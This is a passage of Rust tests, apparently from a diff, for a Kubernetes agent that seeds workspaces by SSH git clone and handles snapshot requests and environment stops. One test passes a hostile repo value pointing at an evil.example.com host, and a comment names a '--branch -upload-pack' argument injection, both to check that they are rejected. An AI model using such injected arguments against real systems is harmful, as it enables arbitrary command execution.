"NoStorage"); +} + +/// Git seeding, end to end in one object: an init container that clones over SSH with the owner's +/// platform key, and no token Secret anywhere — the API named one nobody wrote and the agent could +/// not read. +#[test] +fn a_git_seeded_pod_carries_an_init_container_with_the_key_and_no_token() { + use rustic_git_workspaces::{crd, k8s}; + let spec = crd::WorkspaceSpec { + restore: None, + owner: "alice".into(), + team: String::new(), + name: "web".into(), + region: "r1".into(), + image: "nginx:alpine".into(), + storage: Some(crd::WorkspaceStorage { + quota_gb: 20, + source: Some(crd::VolumeSource::GitRepo { repo: "alice/site".into(), branch: "main".into() }), + }), + desired_state: crd::DesiredState::Running, + resources: Default::default(), + node_name: None, + volume_ref: None, + packages: vec![], + }; + let source = spec.storage.as_ref().unwrap().source.as_ref().unwrap(); + let init = k8s::git_init_container(source, "alpine/git:2.45.2", "git.example.com", "22") + .expect("a valid repo is accepted") + .expect("a gitRepo source seeds with an init container"); + let pod = k8s::workspace_pod(&spec, "ws-1", &test_pod_ctx(), Some(init)); + + let inits = pod.spec.as_ref().unwrap().init_containers.as_ref().expect("init containers"); + assert_eq!(inits.len(), 1); + assert_eq!(inits[0].image.as_deref(), Some("alpine/git:2.45.2"), "pinned, so seeding works with any image"); + let mounts: Vec<&str> = inits[0].volume_mounts.as_ref().unwrap().iter().map(|m| m.mount_path.as_str()).collect(); + assert!(mounts.contains(&k8s::WORKSPACE_DIR)); + assert!(mounts.contains(&k8s::USER_KEY_PATH)); + let env: std::collections::HashMap<&str, String> = inits[0] + .env + .as_ref() + .unwrap() + .iter() + .map(|e| (e.name.as_str(), e.value.clone().unwrap_or_default())) + .collect(); + assert_eq!(env["URL"], "ssh://git@git.example.com:22/alice/site.git"); + assert_eq!(env["BRANCH"], "main"); + assert!(env["GIT_SSH_COMMAND"].contains(k8s::USER_KEY_PATH)); + // The whole point of moving the clone into the pod: no minted credential rides along. + let rendered = serde_json::to_string(&pod).unwrap(); + for gone in ["credentialSecret", "http.extraHeader", "x-access-token"] { + assert!(!rendered.contains(gone), "no credential is involved any more: {gone} in {rendered}"); + } + // Hardened exactly like the main container — a seeder is a tenant workload too. + let main = &pod.spec.as_ref().unwrap().containers[0]; + assert_eq!(inits[0].security_context, main.security_context); + let sc = inits[0].security_context.as_ref().unwrap(); + assert_eq!(sc.allow_privilege_escalation, Some(false)); + assert_eq!(sc.privileged, Some(false)); + assert_eq!(sc.capabilities.as_ref().unwrap().drop.as_deref(), Some(&["ALL".to_string()][..])); + // Idempotent: a pod restart must never re-clone over a user's work. + assert!(inits[0].command.as_ref().unwrap().join(" ").contains("ls -A /home/kl/workspace")); + // The key mount stops being optional for a seeded workspace — the clone cannot work without it. + let vols = pod.spec.as_ref().unwrap().volumes.as_ref().unwrap(); + let key = vols.iter().find(|v| v.name == "user-key").unwrap(); + assert_eq!(key.secret.as_ref().unwrap().optional, Some(false)); +} + +fn test_pod_ctx() -> rustic_git_workspaces::k8s::PodContext<'static> { + rustic_git_workspaces::k8s::PodContext { + pool: "/pool", + node_name: "node-a", + owner_ref: k8s_openapi::apimachinery::pkg::apis::meta::v1::OwnerReference { + api_version: "rustic-git.io/v1alpha1".into(), + kind: "Workspace".into(), + name: "ws-1".into(), + uid: "ws-uid-1".into(), + controller: Some(true), + block_owner_deletion: Some(true), + }, + runtime_class: None, + } +} + +/// The last gate before a repo name becomes an ssh argv. A `--branch -upload-pack=…` or an +/// `owner/name` that is neither is arbitrary command execution on the workspace pod, so it fails +/// PERMANENTLY and no pod is started for it. +#[tokio::test] +async fn a_workspace_whose_source_repo_is_not_a_name_gets_no_pod() { + let tmp = tempfile::tempdir().unwrap(); + let vol = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1", "uid": "vol-uid-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20, + "source": {"gitRepo": {"repo": "https://evil.example.com/x", "branch": "main"}}}, + "status": {"phase": "ready", "subvolumePresent": true} + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/ws-1", vol), + ready_binding(), + pv_route("pv-ws-1"), + pvc_route("live-ws-1"), + pv_route("nix-ws-1"), + pvc_route("nix-ws-1"), + rustic_git_workspaces::kube_test::not_found(WS_SSH_SECRET), + rustic_git_workspaces::kube_test::post( + "/api/v1/namespaces/ws-alice/secrets", + serde_json::json!({"apiVersion": "v1", "kind": "Secret", "metadata": {"name": "ws-ssh-ws-1"}}), + ), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a"})); + + // The profile is built first on every pass, so the source is judged on the pass after it. + let _ = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + wait_idle(&ctx).await; + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "permanent: never retried"); + assert!(!rec.calls().iter().any(|c| c.contains("/pods")), "no pod for an unclonable source: {:?}", rec.calls()); + let st = rec.sent("PATCH", WS_STATUS); + assert_eq!(st.last().unwrap()["status"]["phase"], "error"); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["reason"], "InvalidSource"); +} + +/// A child that FAILED is not a child still working: the parent surfaces the child's own reason and +/// waits for a change, instead of saying "not materialized yet" once a tick forever. +#[tokio::test] +async fn a_failed_volume_child_stops_the_parent_requeueing() { + let tmp = tempfile::tempdir().unwrap(); + let vol = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1", "uid": "vol-uid-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}, + "status": {"phase": "error", "subvolumePresent": false, + "conditions": [{"type": "Ready", "status": "False", "reason": "NoSpace", + "message": "the pool is full", "lastTransitionTime": "2026-08-27T00:00:00Z"}]} + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/ws-1", vol), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a"})); + + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "the Volume watch re-triggers it"); + let st = rec.sent("PATCH", WS_STATUS); + let cond = &st.last().unwrap()["status"]["conditions"][0]; + assert_eq!(cond["type"], "VolumeReady"); + assert_eq!(cond["reason"], "VolumeFailed"); + assert_eq!(cond["message"], "the pool is full", "the child's own reason, not a guess"); +} + +// ── snapshot requests ──────────────────────────────────────────────────── + +const SNAP_STATUS: &str = "/apis/rustic-git.io/v1alpha1/snapshotrequests/snap-1/status"; +const VOL_GET: &str = "/apis/rustic-git.io/v1alpha1/volumes/ws-1"; + +fn snap_json(status: serde_json::Value) -> serde_json::Value { + // `phase` is required by the schema and by `SnapshotRequestStatus`, so "no status yet" is + // spelled `pending` rather than `{}` — a bare `{}` does not round-trip through the CRD type. + let status = if status == serde_json::json!({}) { serde_json::json!({"phase": "pending"}) } else { status }; + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequest", + "metadata": {"name": "snap-1", "uid": "snap-uid-1", "generation": 1, + "finalizers": ["rustic-git.io/snapshot"], + "labels": {"rustic-git.io/owner": "alice", "rustic-git.io/volume": "ws-1"}}, + // No `nodeName`: a node is a controller-owned fact and the API does not copy facts into + // spec. The agent resolves it from the named Volume. + "spec": {"volume": "ws-1", "message": "checkpoint"}, + "status": status, + }) +} + +fn snapshot(status: serde_json::Value) -> crd::SnapshotRequest { + serde_json::from_value(snap_json(status)).unwrap() +} + +/// The Volume this request names, on the node the test's `ctx` is (`node-a`) unless told otherwise. +fn vol_on(node: &str) -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1", "uid": "vol-uid-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": node, "region": "r1", "quotaGb": 20}, + "status": {"phase": "ready", "subvolumePresent": true} + }) +} + +/// A push runs once and says what it produced. The uid-keyed `running` map is the idempotency +/// guard, exactly as for Volume work — a second reconcile of a request in flight starts nothing. +#[tokio::test] +async fn a_snapshot_request_runs_the_push_once_and_writes_done() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 200, body: snap_json(serde_json::json!({})) }, + ], + ); + + // Stand in for the push having already finished: the reconcile that OBSERVES it is what writes + // `done`, and which pass that is depends on a thread, not on the reconcile. + ctx.running.lock().unwrap().insert( + "snap-uid-1".to_string(), + (1, tokio::task::spawn_blocking(|| { + Ok(Done { phase: crd::Phase::Done, lineage_tip: Some("layer-9".into()), ..Done::default() }) + })), + ); + wait_idle(&ctx).await; + + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({"phase": "working"})), &ctx) + .await + .unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let sent = rec.sent("PATCH", SNAP_STATUS); + let last = sent.last().unwrap(); + assert_eq!(last["status"]["phase"], "done"); + assert_eq!(last["status"]["snapshotId"], "layer-9"); + assert_eq!(last["status"]["observedGeneration"], 1); + assert!(last["status"]["at"].as_str().unwrap().contains('T'), "an rfc3339 stamp: {last}"); + assert!( + last["status"]["conditions"].as_array().unwrap().iter().any(|c| c["type"] == "Ready" && c["status"] == "True"), + "{last}" + ); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); + // Nothing outside its own object. Two controllers force-applying one Volume status under one + // field manager prune each other's fields — the Volume's next pass would delete it anyway. + assert!( + !rec.calls().iter().any(|c| c.contains("/volumes/ws-1/status")), + "the snapshot reconciler must not write the Volume's status: {:?}", rec.calls() + ); +} + +/// A request whose Volume lives on another node belongs to another agent. Every agent watches every +/// request (there is no field selector), so "not mine" must be silent — a second agent writing this +/// object's status is exactly the multi-writer problem the design removes. +#[tokio::test] +async fn a_request_for_another_nodes_volume_is_left_alone() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-b"))]); + + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({})), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!( + !rec.calls().iter().any(|c| c.starts_with("PATCH")), + "another node's request must not be touched: {:?}", rec.calls() + ); +} + +/// An agent restart loses the `running` map. A request left at `working` therefore has a +/// `Progressing` condition and no handle, and there is no way to tell "crashed before starting" +/// from "crashed mid-send" — so it must NOT be re-run: `engine.push_env` would take a fresh +/// snapshot and register a SECOND commit record for one user push. +#[tokio::test] +async fn a_working_request_with_no_handle_fails_instead_of_pushing_twice() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 200, body: snap_json(serde_json::json!({})) }, + ], + ); + + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({"phase": "working"})), &ctx) + .await + .unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "a permanent failure is not retried"); + let last = rec.sent("PATCH", SNAP_STATUS).last().unwrap().clone(); + assert_eq!(last["status"]["phase"], "error"); + assert!( + last["status"]["conditions"].as_array().unwrap().iter() + .any(|c| c["type"] == "Ready" && c["status"] == "False" && c["reason"] == "AgentRestarted"), + "{last}" + ); + assert!(ctx.running.lock().unwrap().is_empty(), "nothing was started"); + assert!(!tmp.path().join("vol/ws-1").exists(), "and no second push ran"); +} + +/// A request is never re-run past `done`. The record is durable and content-addressed; running it +/// again would push a second commit nobody asked for. +#[tokio::test] +async fn a_done_snapshot_request_does_nothing_on_a_second_reconcile() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let r = snapshot(serde_json::json!({"phase": "done", "snapshotId": "layer-9", "at": "2026-08-27T00:00:00Z"})); + + let action = rustic_git_agent::snapshot::apply_snapshot(&r, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!(rec.calls().is_empty(), "a finished request writes nothing — not even the Volume read: {:?}", rec.calls()); + assert!(!tmp.path().join("vol/ws-1").exists(), "and starts nothing"); +} + +/// Deleting a request mid-push must WAIT. This is why the request has a finalizer at all: a delete +/// during `working` would otherwise orphan a btrfs RO snapshot, a stage file, an in-flight blob +/// upload and a possible `POST /commits` with no object left to record the outcome in — and the +/// Volume's own finalizer does not cover it, because a SnapshotRequest is not the Volume's child. +#[tokio::test] +async fn deleting_a_working_request_waits_for_the_handle() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec) = ctx(tmp.path(), vec![]); + ctx.running.lock().unwrap().insert( + "snap-uid-1".to_string(), + (1, tokio::task::spawn_blocking(|| { + std::thread::sleep(std::time::Duration::from_millis(700)); + Ok(Done { phase: crd::Phase::Done, lineage_tip: None, ..Done::default() }) + })), + ); + let r = snapshot(serde_json::json!({"phase": "working"})); + + let action = rustic_git_agent::snapshot::cleanup_snapshot(&r, &ctx).await.unwrap(); + assert_eq!( + action, + kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15)), + "cleanup must requeue while the push is running" + ); + assert!(!ctx.running.lock().unwrap().is_empty(), "nothing was drained by a cleanup that waited"); + + wait_idle(&ctx).await; + rustic_git_agent::snapshot::cleanup_snapshot(&r, &ctx).await.unwrap(); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained by cleanup"); +} + +/// The Volume controller no longer has a push branch at all: pushing is an object with its own +/// reconciler, and `volume_work` is materialize-or-nothing. +#[tokio::test] +async fn a_volume_with_a_push_annotation_starts_no_push() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let mut v = volume(1); + v.metadata.annotations = + Some(std::collections::BTreeMap::from([("rustic-git.io/push-requested".to_string(), "2026-08-27T00:00:00Z".to_string())])); + // Already observed: with the push branch gone there is nothing left for this pass to do. + v.status = Some(crd::VolumeStatus { phase: crd::Phase::Ready, observed_generation: Some(1), subvolume_present: true, ..Default::default() }); + + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "the annotation is dead weight now"); + assert!(ctx.running.lock().unwrap().is_empty(), "and nothing was started"); +} + +// ── the stop-before-teardown snapshot ──────────────────────────────────── + +const STOP_REQ: &str = "/apis/rustic-git.io/v1alpha1/snapshotrequests/stop-env-1"; +const ENV_PATCH: &str = "/apis/rustic-git.io/v1alpha1/environments/env-1"; +const DEP_DEL: &str = "/apis/apps/v1/namespaces/env-1/statefulsets/db"; + +/// A stopping environment with one service and its own volume, on this node. +fn stopping_env() -> crd::Environment { + let mut o = env_json(serde_json::json!({"phase": "running", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + o["spec"]["desiredState"] = serde_json::json!("stopped"); + o["spec"]["services"] = + serde_json::json!([{"name": "db", "image": "mongo", "command": [], "env": {}, "mounts": []}]); + serde_json::from_value(o).unwrap() +} + +fn env_vol() -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "env-1", "uid": "env-vol-1"}, + "spec": {"owner": "acme", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}, + "status": {"phase": "ready", "subvolumePresent": true}, + }) +} + +fn stop_req(status: serde_json::Value) -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequest", + "metadata": {"name": "stop-env-1", "uid": "stop-uid-1"}, + "spec": {"volume": "env-1"}, + "status": status, + }) +} + +fn stop_routes(req: Option) -> Vec { + let mut routes = vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", env_vol()), + // The drain that precedes every stop push: scale to zero, and no pod is still writing. + Route { method: "PATCH", path: DEP_PATCH.into(), status: 200, body: serde_json::json!({"kind": "StatefulSet"}) }, + rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[])), + Route { + method: "PATCH", + path: "/apis/rustic-git.io/v1alpha1/environments/env-1/status".into(), + status: 200, + body: env_json(serde_json::json!({})), + }, + ]; + match req { + Some(r) => routes.push(rustic_git_workspaces::kube_test::get(STOP_REQ, r)), + None => routes.push(Route { + method: "GET", + path: STOP_REQ.into(), + status: 404, + // A real 404 body: `get_opt` reads the `Status` to tell "absent" from "broken". + body: serde_json::json!({"kind": "Status", "apiVersion": "v1", "status": "Failure", + "code": 404, "reason": "NotFound", "message": "not found"}), + }), + } + routes +} + +/// A stop snapshot that FAILED must not let the teardown through. An environment torn down without +/// a landed push loses its last state for good, so the services stay up and the environment says +/// why — the operator deletes and recreates the request to retry. +#[tokio::test] +async fn a_failed_stop_snapshot_tears_nothing_down() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), stop_routes(Some(stop_req(serde_json::json!({"phase": "error"}))))); + + let action = rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "a failed push is not retried by us"); + assert!( + !rec.calls().iter().any(|c| c.starts_with("DELETE")), + "nothing may be deleted while the push has not landed: {:?}", + rec.calls() + ); + let last = rec.sent("PATCH", "/apis/rustic-git.io/v1alpha1/environments/env-1/status").last().unwrap().clone(); + assert_eq!(last["status"]["phase"], "running", "the services ARE still up"); + assert!( + last["status"]["conditions"].as_array().unwrap().iter().any( + |c| c["type"] == "Ready" && c["status"] == "False" && c["reason"] == "StopSnapshotFailed" + ), + "{last}" + ); +} + +/// The audit's Q-13: an agent that restarted mid-stop left `stop-{env}` at `error/AgentRestarted`, +/// and with no `/v1` delete for requests that used to park the environment until `kubectl`. That +/// one error is ours, not the push's, so the request is deleted and a fresh one created in the same +/// pass — with the services still up, because nothing has landed yet. +#[tokio::test] +async fn an_agent_restart_mid_stop_recreates_the_request_instead_of_parking() { + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(Some(stop_req(serde_json::json!({ + "phase": "error", + "conditions": [{"type": "Ready", "status": "False", "reason": "AgentRestarted", + "message": "the agent restarted while this push was in flight; push again", + "lastTransitionTime": "2026-08-29T00:00:00Z"}], + })))); + routes.push(Route { + method: "DELETE", + path: STOP_REQ.into(), + status: 200, + body: stop_req(serde_json::json!({"phase": "error"})), + }); + routes.push(rustic_git_workspaces::kube_test::post( + "/apis/rustic-git.io/v1alpha1/snapshotrequests", + stop_req(serde_json::json!({"phase": "pending"})), + )); + let (ctx, rec) = ctx(tmp.path(), routes); + + let action = rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + assert!(rec.calls().iter().any(|c| c == &format!("DELETE {STOP_REQ}")), "{:?}", rec.calls()); + let req = rec.sent("POST", "/apis/rustic-git.io/v1alpha1/snapshotrequests").remove(0); + assert_eq!(req["metadata"]["name"], "stop-env-1"); + assert!(!rec.calls().iter().any(|c| c == &format!("DELETE {DEP_DEL}")), "nothing landed yet: {:?}", rec.calls()); +} + +/// The happy path: a `done` stop snapshot tears the services down AND deletes the request, so the +/// next stop of this environment creates a fresh one instead of finding this `done` object under +/// the same fixed name and pushing nothing. +#[tokio::test] +async fn a_landed_stop_snapshot_tears_down_and_deletes_its_request() { + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(Some(stop_req(serde_json::json!({"phase": "done", "snapshotId": "layer-1"})))); + routes.push(Route { method: "DELETE", path: DEP_DEL.into(), status: 200, body: serde_json::json!({"kind": "Status"}) }); + routes.push(Route { method: "DELETE", path: STOP_REQ.into(), status: 200, body: stop_req(serde_json::json!({"phase": "done"})) }); + let (ctx, rec) = ctx(tmp.path(), routes); + + let action = rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!(rec.calls().iter().any(|c| c == &format!("DELETE {DEP_DEL}")), "{:?}", rec.calls()); + assert!(rec.calls().iter().any(|c| c == &format!("DELETE {STOP_REQ}")), "the request must not outlive the stop: {:?}", rec.calls()); +} + +/// No request yet: create exactly one, and tear nothing down on this pass. +#[tokio::test] +async fn a_stop_with_no_snapshot_request_creates_one_and_waits() { + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(None); + routes.push(rustic_git_workspaces::kube_test::post( + "/apis/rustic-git.io/v1alpha1/snapshotrequests", + stop_req(serde_json::json!({"phase": "pending"})), + )); + let (ctx, rec) = ctx(tmp.path(), routes); + + let action = rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + let req = rec.sent("POST", "/apis/rustic-git.io/v1alpha1/snapshotrequests").remove(0); + assert_eq!(req["metadata"]["name"], "stop-env-1"); + assert_eq!(req["spec"]["volume"], "env-1"); + assert!(!rec.calls().iter().any(|c| c.starts_with("DELETE")), "{:?}", rec.calls()); +} + +/// The stop snapshot is what a restore reads back as the environment's last state, so it must be +/// taken with no service writing: every StatefulSet goes to zero and its pods are gone BEFORE the +/// request exists. The StatefulSets are still not deleted — that waits for the push to land. +#[tokio::test] +async fn a_stop_scales_the_services_to_zero_before_it_requests_the_push() { + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(None); + routes.push(rustic_git_workspaces::kube_test::post( + "/apis/rustic-git.io/v1alpha1/snapshotrequests", + stop_req(serde_json::json!({"phase": "pending"})), + )); + let (ctx, rec) = ctx(tmp.path(), routes); + + rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(rec.sent("PATCH", DEP_PATCH)[0]["spec"]["replicas"], 0); + let calls = rec.calls(); + let scaled = calls.iter().position(|c| c == &format!("PATCH {DEP_PATCH}")).unwrap(); + let drained = calls.iter().position(|c| c == &format!("GET {POD_LIST}")).unwrap(); + let requested = calls.iter().position(|c| c == "POST /apis/rustic-git.io/v1alpha1/snapshotrequests").unwrap(); + assert!(scaled < drained && drained < requested, "scale, drain, then push: {calls:?}"); + assert!(!calls.iter().any(|c| c.starts_with("DELETE")), "nothing is deleted before the push lands: {calls:?}"); + + // A pod still terminating is a process still writing: no request yet, and the status says why. + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(None); + routes.retain(|r| r.path != POD_LIST); + routes.push(rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[("db-0", "Running")]))); + let (ctx, rec) = self::ctx(tmp.path(), routes); + + let action = rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + assert!(!rec.calls().iter().any(|c| c.starts_with("POST")), "no push under a running service: {:?}", rec.calls()); + assert_eq!(rec.sent("PATCH", ENV_STATUS_PATH).last().unwrap()["status"]["conditions"][0]["reason"], "Draining"); +} + +/// A Volume and a SnapshotRequest share no name and no ownerReference — `spec.volume` is the only +/// link — so the mapper must find requests BY THAT FIELD or a request created before its Volume +/// waits on the 15s backstop forever instead of being woken. +#[test] +fn a_volume_event_wakes_the_requests_that_name_it() { + let mine: Arc = Arc::new(snapshot(serde_json::json!({"phase": "pending"}))); + let other: Arc = Arc::new(serde_json::from_value(serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequest", + "metadata": {"name": "snap-2"}, "spec": {"volume": "ws-2"}, "status": {"phase": "pending"}, + })).unwrap()); + + let woken = rustic_git_agent::controller::requests_naming(&[mine, other.clone()], "ws-1"); + assert_eq!(woken.len(), 1, "only the request that names this volume"); + assert_eq!(woken[0].name, "snap-1"); + // And a volume nothing names wakes nothing — the mapper is not a "reconcile everything" hook. + assert!(rustic_git_agent::controller::requests_naming(&[other], "ws-1").is_empty()); +} + +/// A push that SUCCEEDED but whose status write failed must not come back as `AgentRestarted`: the +/// bytes are in the registry and the only record of their snapshot id is the drained handle. The +/// outcome goes back in the map so the retry writes `done`, not a false permanent failure. +#[tokio::test] +async fn a_failed_status_write_replays_the_outcome_instead_of_losing_the_push() { + let tmp = tempfile::tempdir().unwrap(); + let make = ctx; + let (ctx, rec) = make( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 500, body: serde_json::json!({}) }, + ], + ); + ctx.running.lock().unwrap().insert( + "snap-uid-1".to_string(), + (1, tokio::task::spawn_blocking(|| Ok(Done { phase: crd::Phase::Done, lineage_tip: Some("layer-9".into()), ..Done::default() }))), + ); + wait_idle(&ctx).await; + + let r = snapshot(serde_json::json!({"phase": "working"})); + rustic_git_agent::snapshot::apply_snapshot(&r, &ctx).await.unwrap_err(); + assert!(!ctx.running.lock().unwrap().is_empty(), "the outcome must survive a failed write"); + assert_eq!(rec.sent("PATCH", SNAP_STATUS).last().unwrap()["status"]["phase"], "done"); + + // The retry, against an API server that is back: `done` with the real snapshot id, never + // `AgentRestarted`. + let (ctx2, rec2) = make( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 200, body: snap_json(serde_json::json!({})) }, + ], + ); + let handle = ctx.running.lock().unwrap().remove("snap-uid-1").unwrap(); + ctx2.running.lock().unwrap().insert("snap-uid-1".to_string(), handle); + wait_idle(&ctx2).await; + rustic_git_agent::snapshot::apply_snapshot(&r, &ctx2).await.unwrap(); + let last = rec2.sent("PATCH", SNAP_STATUS).last().unwrap().clone(); + assert_eq!(last["status"]["phase"], "done"); + assert_eq!(last["status"]["snapshotId"], "layer-9"); +} + +/// An environment already stopped at this generation does NOTHING. The guard matters because the +/// `stop-{env}` request is deleted after teardown: without it, the missing object reads as "no push +/// requested yet" and every later event on a stopped environment would push again, forever. +#[tokio::test] +async fn an_already_stopped_environment_pushes_nothing_and_deletes_nothing() { + let tmp = tempfile::tempdir().unwrap(); + // Only the two reads the pass makes before the guard; a create or a delete would 404 the mock. + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", env_vol()), + ], + ); + let mut e = stopping_env(); + e.status = Some(crd::EnvironmentStatus { + phase: crd::Phase::Stopped, + observed_generation: Some(1), + node_name: "node-a".into(), + ..Default::default() + }); + + let action = rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!( + !rec.calls().iter().any(|c| c.starts_with("POST") || c.starts_with("DELETE")), + "a stopped environment must not push again: {:?}", + rec.calls() + ); +} + +/// A restore on a STOPPED environment bumps its generation, which used to fail the stopped guard +/// and push the just-restored subvolume as a commit nobody asked for. Stopped means torn down +/// after a landed push; nothing has written since, so there is nothing to push — observe and stop. +#[tokio::test] +async fn a_restore_on_a_stopped_environment_pushes_nothing() { + let tmp = tempfile::tempdir().unwrap(); + let mut vol = env_vol(); + vol["status"]["restoredTo"] = serde_json::json!("snap-7"); + vol["status"]["restoreRequestedAt"] = serde_json::json!(WISH_AT); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let mut e = stopping_env(); + e.metadata.generation = Some(2); + e.spec.restore = Some(crd::RestoreWish { + snapshot_id: "snap-7".into(), + volume: "env-1".into(), + owner: Some("acme".into()), + region: None, + requested_at: WISH_AT.into(), + }); + e.status = Some(crd::EnvironmentStatus { + phase: crd::Phase::Stopped, + observed_generation: Some(1), + node_name: "node-a".into(), + ..Default::default() + }); + + let action = rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let calls = rec.calls(); + assert!(!calls.iter().any(|c| c.starts_with("POST") || c.starts_with("DELETE")), "{calls:?}"); + assert!(!calls.iter().any(|c| c == &format!("GET {STOP_REQ}")), "the stop path never ran: {calls:?}"); + let last = rec.sent("PATCH", ENV_STATUS_PATH).last().unwrap().clone(); + assert_eq!(last["status"]["phase"], "stopped"); + assert_eq!(last["status"]["observedGeneration"], 2, "the restore's generation is observed: {last}"); +} + +/// The stop request is owned by the Environment, which is the ONLY link back: an environment parked +/// at `StopSnapshotFailed` returns `await_change`, so the request's ownerReference is what the +/// environments controller's `SnapshotRequest` watch maps on to wake it. +#[tokio::test] +async fn the_stop_request_is_owned_by_its_environment() { + let tmp = tempfile::tempdir().unwrap(); + let mut routes = stop_routes(None); + routes.push(rustic_git_workspaces::kube_test::post( + 